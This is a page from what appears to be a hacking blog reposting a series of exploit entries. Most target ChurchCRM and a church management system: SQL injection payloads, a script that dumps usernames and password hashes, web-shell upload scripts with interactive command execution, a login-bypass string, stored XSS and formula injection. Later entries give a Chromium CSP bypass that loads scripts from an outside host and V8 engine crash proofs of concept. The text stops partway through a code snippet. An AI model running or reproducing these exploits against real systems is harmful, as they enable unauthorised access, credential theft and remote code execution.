Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863131940

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: ChurchCRM 5.9.1 - SQL Injection

# Author: Sanan Qasimzada

# Date: 06.07.2024

# Vendor: http://churchcrm.io/

# Software: https://github.com/ChurchRM/CRM

# Reference: https://portswigger.net/web-security/sql-injection



# Description:

In the manual insertion point 1 - parameter `EID` appears to be

vulnerable to SQL injection attacks.

No need for cookies, no need admin authentication and etc.

The attacker easily can steal information from this system by using

this vulnerability.



STATUS: HIGH Vulnerability - CRITICAL



[+]Payload:

```mysql

---

Parameter: EID (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

OR NOT 2407=2407



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)



    Type: UNION query

    Title: MySQL UNION query (UTF8) - 11 columns

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

UNION ALL SELECT

'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d76425645505670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#

---



```



# Reproduce:

[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1
)



# Proof and Exploit:

[href](https://streamable.com/1eqhw2)



# Time spend:

01:00:00





-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at

https://packetstormsecurity.com/https://cve.mitre.org/index.html and

https://www.exploit-db.com/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>



-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at https://packetstormsecurity.com/

https://cve.mitre.org/index.html

https://cxsecurity.com/ and https://www.exploit-db.com/

0day Exploit DataBase https://0day.today/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>
            
# Exploit Title: ChurchCRM 4.5.1 - Authenticated SQL Injection
# Date: 11-03-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-24787/CVE-2023-24787.md
# Software Link: https://github.com/ChurchCRM/CRM/releases
# Vendor Homepage: http://churchcrm.io/
# Version: 4.5.1
# Tested on: Windows, Linux
# CVE: CVE-2023-24787

"""
The endpoint /EventAttendance.php is vulnerable to Authenticated SQL Injection (Union-based and Blind-based) via the Event GET parameter.
This endpoint can be triggered through the following menu: Events - Event Attendance Reports - Church Service/Sunday School. 
The Event Parameter is taken directly from the query string and passed into the SQL query without any sanitization or input escaping.
This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.

This script is created as Proof of Concept to retrieve the username and password hash from user_usr table.
"""


import sys, requests

def dumpUserTable(target, session_cookies):    
    print("(+) Retrieving username and password")
    print("")
    url = "%s/EventAttendance.php?Action=List&Event=2+UNION+ALL+SELECT+1,NULL,CONCAT('Perseverance',usr_Username,':',usr_Password),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+from+user_usr--+-&Type=Sunday School" % (target)
    headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'CRM-2c90cf299230a50dab55aee824ed9b08='+str(session_cookies)}              
    r = requests.get(url, headers=headers)
    lines = r.text.splitlines()
    
    for line in lines: 
        if "<td >Perseverance" in line:
            print(line.split("Perseverance")[1].split("</td>")[0])
    
def login(target, username, password):
    target = "%s/session/begin" % (target)
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = "User=%s&Password=%s" % (username, password)
    s = requests.session()
    r = s.post(target, data = data, headers = headers)
    return s.cookies.get('CRM-2c90cf299230a50dab55aee824ed9b08')

def main():
    print("(!) Login to the target application")
    session_cookies = login(target, username, password)       
    
    print("(!) Exploiting the Auth SQL Injection to retrieve the username and password hash")
    dumpUserTable(target, session_cookies)

    
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("(!) Usage: python3 exploit.py <URL> <username> <password>")
        print("(!) E.g.,: python3 exploit.py http://192.168.1.100/ChurchCRM user pass")
        sys.exit(-1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    main()
            
HireHackking

ChurchCRM 4.4.5 - SQLi

# Exploit Title: ChurchCRM 4.4.5 - SQLi
# Exploit Author: nu11secur1ty
# Date: 05.11.2022
# Vendor: https://churchcrm.io/
# Software: https://github.com/ChurchCRM/CRM
# Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325

## Description:
There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.

[+] Payloads:

```mysql
---
Parameter: PersonID (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE
(SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PersonID=1 AND (SELECT 7116 FROM
(SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

```
            
#Exploit Title: ChurchCRM 4.2.1- Persistent Cross Site Scripting(XSS)
#Date: 2020- 10- 29
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.1
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit. There are multiple locations where this can be replicated To exploit this vulnerability:

   1. Login to the application, go to 'View all Deposits' module.
   2. Add the payload ( <script>var link = document.createElement('a');
   link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
   link.download = ''; document.body.appendChild(link); link.click();
</script>
   ) in the 'Deposit Comment' field and click "Add New Deposit".
   3. Payload is executed and a .exe file is downloaded.
            
#Exploit Title: ChurchCRM 4.2.1- CSV/Formula Injection
#Date: 2020- 10- 24
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.0
#Payload:  =10+20+cmd|' /C calc'!A0
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
List Event Types feature in ChurchCRM v4.2.0 via Name field that is
mistreated while exporting to a CSV file.
To exploit this vulnerability:

   1. Login to the application, goto 'Events' module and then "List Event
   Types"
   2. Edit any event and inject the payload =10+20+cmd|' /C calc'!A0 in the
   'Name' field
   3. Now goto 'List Event types' module and click CSV to download the CSV
   file
   4. Open the CSV file, allow all popups and our payload is executed
   (calculator is opened).
            
# Exploit Title: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE
# Date: 05-07-2021
# Exploit Author: Eleonora Guardini (eleguardini93 at gmail dot com or eleonora.guardini at dedagroup dot com)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested On: Ubuntu 18.04 with apache2 2.4.29 (Ubuntu)

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import os, sys
import argparse
import optparse
import string

if len(sys.argv)!=5:
    print('Usage: -u http://<ip> -c <"command">')
    print('ex. python3 http://192.168.1.2 -c "ls+-la"')
    exit()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url")
parser.add_option('-c', '--cmd', action="store", dest="cmd")
options,args=parser.parse_args()

print(options.url, options.cmd)
print(len(sys.argv))

def randomGen(size=8, chars=string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

urlbase=options.url+'/cman/admin';
loginUrl=urlbase+'/index.php';

shellFile=randomGen()+".php"

payload={"username":"test", "password":"' or 'a'='a'#", "login":""};

proxies = { "http": "http://localhost:8080"}

mp_encoder = MultipartEncoder(fields = {
    "image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
    "change":""})

session=requests.Session()
r=session.post(loginUrl, payload, allow_redirects=False) #, proxies=proxies)
cookie=r.headers["Set-Cookie"]

headers = {"Cookie": cookie, 'Content-Type':mp_encoder.content_type}

uploadUrl=urlbase+"/admin_pic.php"

post=session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)

os.system("curl " + urlbase + "/uploads/" + shellFile + "?cmd="+ options.cmd)
            
# Exploit Title: Church Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-20
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.

# Exploit Details:

# 1. Access the 'classes/Users.php', as it does not check for an authenticated user session.
# 2. Set the 'f' parameter of the POST request to 'save'.
#     - `Users.php?f=save`
# 3. Capture request in burp and replace with with following request.
'''
POST /church_management/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------91105564325608762312322546550
Content-Length: 859
Origin: http://localhost
Connection: close
Referer: http://localhost/church_management/admin/?page=user
Cookie: PHPSESSID=nbt4d6o8udue0v82bvasfjkm90
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="id"

1
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="username"

admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="password"


-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php echo phpinfo(); ?>
-----------------------------91105564325608762312322546550--

'''
#   ` Image uploader is renaming your payload using the following function.
         # strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
         # you can simply go to any online php compile website like https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler
         # and print this function to get the value. e.g: <?php echo strtotime(date('y-m-d H:i')); ?> Output: 1632085200
         # concate output with your playload name like this 1632085200_phpinfo.php
# 4. Communicate with the webshell at 'uploads/1632085200_phpinfo.php?cmd=dir' using GET Requests.

# RCE via executing exploit:
    # Step 1: run the exploit in python with this command: python3 CMS-RCEv1.0.py
    # Step 2: Input the URL of the vulnerable application: Example: http://localhost/church_management/


import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

header = Style.BRIGHT+Fore.RED+'              '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+"               Church Management System v1.0")
print(Style.BRIGHT+"            Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""

                        
                                                                                 .----------. 
                                                                 .-''-.         /          /  
     .                            __  __   ___                 .' .-.  )       /   ______.'   
   .'|                           |  |/  `.'   `.              / .'  / /       /   /_          
 .'  |                           |   .-.  .-.   '            (_/   / /       /      '''--.    
<    |            __        __   |  |  |  |  |  | ,.----------.   / /       '___          `.  
 |   | ____    .:--.'.   .:--.'. |  |  |  |  |  |//            \ / /            `'.         | 
 |   | \ .'   / |   \ | / |   \ ||  |  |  |  |  |\\            /. '                )        | 
 |   |/  .    `" __ | | `" __ | ||  |  |  |  |  | `'----------'/ /    _.-')......-'        /  
 |    /\  \    .'.''| |  .'.''| ||__|  |__|  |__|            .' '  _.'.-'' \          _..'`   
 |   |  \  \  / /   | |_/ /   | |_                          /  /.-'_.'      '------'''        
 '    \  \  \ \ \._,\ '/\ \._,\ '/                         /    _.'                           
'------'  '---'`--'  `"  `--'  `"                         ( _.-'                              

                            abdullahkhawaja.com
            """)



GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}



s = requests.Session() 


  
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")


def webshell(LINK, session):
    try:
        WEB_SHELL = LINK+'uploads/'+filename
        getdir  = {'cmd': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'cmd': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)


#Creating a PHP Web Shell

phpshell  = {
               'img': 
                  (
                   'shell.php', 
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                   'application/octet-stream', 
                  {'Content-Disposition': 'form-data'}
                  ) 
             }

# Defining value for form data
data = {'id':'1', 'firstname':'Adminstrator', 'lastname':'Admin','username':'admin','password':''}


def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/Users.php?f=save', cookies=cookies, files=phpshell, data=data)

shell_upload = True if("Undefined index: id in" in upload.text) else False
u=shell_upload
if u:
	print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
	print(RED+"[-]Failed To Upload The PHP Shell!", RESET)



#Executing The Webshell
webshell(LINK, s)
            
# Exploit Title: Church Management System 1.0 - Unrestricted File Upload to Remote Code Execution (Authenticated)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# CVE : N/A

# Proof of Concept :

1- Login any user account and change profile picture.
2- Upload any php shell by altering it's extension to .jpg or .png. (i.e test.php.jpg)
3- Before uploading your file, intercept your traffic by using any proxy.
4- Change test.php.jpg file to test.php and click forward.
5- Find your test.php file path and try any command.


###################### REQUEST ##########################################

GET /cman/members/uploads/test.php?cmd=SYSTEMINFO HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/cman/members/dashboard.php
Cookie: PHPSESSID=cne8l4ct93krjqobdus7nv2sjc

####################### RESPONSE #########################################

HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 11:28:16 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.0.3
X-Powered-By: PHP/8.0.3
Content-Length: 4410
Connection: close
Content-Type: text/html; charset=UTF-8


Host Name:                 MRT
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19043 N/A Build 19043
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Murat  
System Boot Time:          6/25/2021, 2:51:40 PM
System Manufacturer:       Dell Inc.
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.


############################################################################
            
# Exploit Title: Church Management System 1.0 - 'search' SQL Injection (Unauthenticated)
# Exploit Author: Erwin Krazek (Nero)
# Date: 17/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Vendor: oretnom23
# Version: v1.0
# Tested on: Linux, Apache, Mysql
# Exploit Description:
Church Management System 1.0 suffers from an unauthenticated SQL Injection Vulnerability in 'search' parameter allowing remote attackers to dump the SQL database using SQL Injection attack.

# Vulnerable Code
In search.php on line 28
$count_all = $conn->query("SELECT b.*,concat(u.firstname,' ',u.lastname) as author FROM `blogs` b inner join `users` u on b.author_id = u.id where b.`status` =1 and (b.`title` LIKE '%{$_GET['search']}%' OR b.`meta_description` LIKE '%{$_GET['search']}%' OR b.`keywords` LIKE '%{$_GET['search']}%' OR b.`content` LIKE '%{$_GET['search']}%' )")->num_rows;

Sqlmap command:
sqlmap -u 'http://localhost/church_management/?p=search&search=abcsw' -p search --level=5 --risk=3 --dbs --random-agent --eta --batch

Output:
---
Parameter: search (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=search&search=abcsw') OR NOT 4306=4306-- rFTu

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=search&search=abcsw') AND (SELECT 7513 FROM (SELECT(SLEEP(5)))SsaK)-- zpac

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: p=search&search=abcsw') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x456e6d5461414774466e62636744424f786d74596e6270647a7063425669697970744a5351707970,0x7178787671),NULL,NULL,NULL,NULL-- -
---
[17:33:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:33:38] [INFO] fetching database names
available databases [4]:
[*] church_db
[*] information_schema
[*] mysql
[*] performance_schema
            
# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :

1-Go to http://target.com/cman/admin
2-Write the following payload to username and admin parameter and click login.

######################## REQUEST ###############################

POST /cman/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/admin/index.php
Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc
Upgrade-Insecure-Requests: 1

username=test&password=%27+or+%27a%27%3D%27a&login=

################################################################

PAYLOAD:

# username : test
# password : ' or 'a'='a
            
# Exploit Title: Church Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10

# Proof of Concept :

#Payload: <img src=x onerror=alert(1)>
#Injectable parameters : amount=  and trcode=

###################### REQUEST ##########################################

POST /cman/members/Tithes.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/members/Tithes.php
Cookie: PHPSESSID=cne2l4cs96krjqpbpus7nv2sjc
Upgrade-Insecure-Requests: 1

amount=<img+src%3dx+onerror%3dalert(1)>&trcode=<img+src%3dx+onerror%3dalert(1)>&save=
            
# Exploit Title: Chronosite 5.12 SQL Injection
# Google Dork: filetype:php inurl:"/archives.php" intext:"ARCHIVES Chrono-site"
# Date: 13/05/15
# Exploit Author: Wad Deek
# Vendor Homepage: http://www.chronosite.org/
# Software Link: http://www.chronosite.org/chrono_upload/chronosite_512.zip
# Version: 5.12
# Tested on: Xampp on Windows7
################################################################
PoC = http://127.0.0.1/cms/chronosite_512/archives.php?numero=%27
################################################################
            
#Title: Chromium 83 - Full CSP Bypass
#Date: 02/09/2020
#Exploit Author: Gal Weizman
#Vendor Homepage: https://www.chromium.org/ 
#Software Link: https://download-chromium.appspot.com/
#Version: 83
#Tested On: Mac OS, Windows, iPhone, Android
#CVE: CVE-2020-6519

(function(){

		var payload = `
			top.SUCCESS = true;
			var o = document.createElement("object");
			o.data = \`http://malicious.com/bypass-object-src.html\`;
			document.body.appendChild(o);
			var i = document.createElement("iframe");
			i.src = \`http://malicious.com/bypass-child-src.html\`;
			document.body.appendChild(i);
			var s = document.createElement("script");
			s.src = \`http://malicious.com/bypass-script-src.js\`;
			document.body.appendChild(s);
		`;

		document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
		setTimeout(() => {
				if (!top.SUCCESS) {
						XXX.contentWindow.eval(payload);
				}
		});

}())

// further information: https://github.com/weizman/CVE-2020-6519
            
/*
I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0

Here's a snippet.
  case IrOpcode::kStoreField: {
    FieldAccess access = FieldAccessOf(node->op());
    Node* value_node = node->InputAt(1);
    NodeInfo* input_info = GetInfo(value_node);
    MachineRepresentation field_representation =
        access.machine_type.representation();

    // Make sure we convert to Smi if possible. This should help write
    // barrier elimination.
    if (field_representation == MachineRepresentation::kTagged &&
        TypeOf(value_node)->Is(Type::SignedSmall())) {
      field_representation = MachineRepresentation::kTaggedSigned;
    }
    WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
        access.base_is_tagged, field_representation, access.offset,
        access.type, input_info->representation(), value_node);

    ProcessInput(node, 0, UseInfoForBasePointer(access));
    ProcessInput(node, 1,
                 TruncatingUseInfoFromRepresentation(field_representation));
    ProcessRemainingInputs(node, 2);
    SetOutput(node, MachineRepresentation::kNone);
    if (lower()) {
      if (write_barrier_kind < access.write_barrier_kind) {
        access.write_barrier_kind = write_barrier_kind;
        NodeProperties::ChangeOp(
            node, jsgraph_->simplified()->StoreField(access));
      }
    }
    return;
  }

Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.

But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.

Note: It's the same when handling kStoreElement.

PoC 1 using kStoreField.
*/

var a, b;  // should be var
for (var i = 0; i < 100000; i++) {
    b = 1;
    a = i + -0;  // -0 is a number, so this will make "a" a heap object.
    b = a;
}

print(a === b);  // true
gc();
print(a === b);  // false
print(b);

/*
PoC 2 using kStoreElement.
let arr = [{}];
var v;  // should be var
for (var i = 0; i < 700000; i++) {
    arr[0] = 1;
    v = i + -0;
    arr[0] = v;
}

print(arr[0] === v)  // true
gc();
print(arr[0] === v)  // false
print(arr[0]);
*/
            
/*
I think this commit has introduced the bug.
https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/#F2

According to the description, Object.create is supposed to be inlined only when the prototype given as the parameter is "null".

The following check has to guarantee it, but it can't guarantee it. Any receiver can get through the check, then Map::GetObjectCreateMap may transition the prototype, which may lead to type confusion.
  if (!prototype_const->IsNull(isolate()) && !prototype_const->IsJSReceiver()) {
    return NoChange();
  }
  instance_map = Map::GetObjectCreateMap(prototype_const);

PoC:
*/

var object;
function opt() {
    opt['x'] = 1.1;
    try {
        Object.create(object);
    } catch (e) {
    }

    for (let i = 0; i < 1000000; i++) {

    }
}

opt();
object = opt;
opt();
            
/*
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never reaches, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
*/

function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();
            
/*
When the parser parses the parameter list of an arrow function contaning destructuring assignments, it can't distinguish whether the assignments will be actually in the parameter list or just assignments until it meets a "=>" token. So it first assigns the destructuring assignments to the outer scope, and fixs the scope when it meets the "=>" token.

Here's the methods used to fix the scope (https://cs.chromium.org/chromium/src/v8/src/parsing/parser-base.h?rcl=787ecbb389741d2b76131f9fa526374a0dbfcff6&l=407).

    void RewindDestructuringAssignments(int pos) {
      destructuring_assignments_to_rewrite_.Rewind(pos);
    }

    void SetDestructuringAssignmentsScope(int pos, Scope* scope) {
      for (int i = pos; i < destructuring_assignments_to_rewrite_.length();
           ++i) {
        destructuring_assignments_to_rewrite_[i]->set_scope(scope);
      }
    }

Since the SetDestructuringAssignmentsScope method changes the scope from "pos" to the end of the list, it needs to call the RewindDestructuringAssignments method after fixing the scope. But the RewindDestructuringAssignments method is only called when the arrow function's body starts with a "{" token (https://cs.chromium.org/chromium/src/v8/src/parsing/parser-base.h?rcl=787ecbb389741d2b76131f9fa526374a0dbfcff6&l=4418).

So it can't properly handle the following case where a destructuring assignment expression containing a single line arrow function. It will set the scope of the inner destructuring assignments to the outer arrow function's scope.

PoC:
*/

(({a = (async ({b = {a = c} = {
    a: 0x1234
}}) => 1)({})}, c) => 1)({});

/*
Log:
Received signal 10 BUS_ADRERR 12340000001f

==== C stack trace ===============================

 [0x00010edde85e]
 [0x7fff53e54f5a]
 [0x000000000000]
 [0x7eb48331b6d8]
 [0x7eb48331b6d8]
[end of stack trace]
Bus error: 10
*/
            
/*
https://cs.chromium.org/chromium/src/v8/src/compiler/node-properties.cc?rcl=df84e87191022bf6914f9570069908f10b303245&l=416

Here's a snippet of NodeProperties::InferReceiverMaps.
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          HeapObjectMatcher mtarget(GetValueInput(effect, 0));
          HeapObjectMatcher mnewtarget(GetValueInput(effect, 1));
          if (mtarget.HasValue() && mnewtarget.HasValue()) {
            Handle<JSFunction> original_constructor =
                Handle<JSFunction>::cast(mnewtarget.Value());

            if (original_constructor->has_initial_map()) {
              Handle<Map> initial_map(original_constructor->initial_map());
              if (initial_map->constructor_or_backpointer() ==
                  *mtarget.Value()) {
